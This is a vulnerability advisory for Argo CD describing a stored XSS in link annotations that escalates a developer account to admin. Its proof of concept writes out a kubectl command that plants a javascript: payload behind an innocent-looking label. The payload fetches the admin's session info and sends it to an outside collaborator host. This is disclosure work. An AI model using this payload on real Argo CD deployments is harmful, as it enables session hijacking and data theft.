Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Summary

A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
    {parts[0]}
</a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).

Step 1 — Set malicious annotation as developer:

kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.

Step 2 — Admin opens Summary tab of the annotated application and clicks the link.

Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
  .then(r => r.json())
  .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

{"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Impact

• Stored XSS — payload persists in the Kubernetes Application resource until manually removed
• Privilege escalation — developer role → admin session hijacking via authenticated API calls
• Maximum stealth — the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim
• No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP)
• Any admin or operator who views the Summary tab of the compromised application is affected

Credits

Discovered and reported by Jan Kahmen (jan@turingpoint.de) — turingpoint.de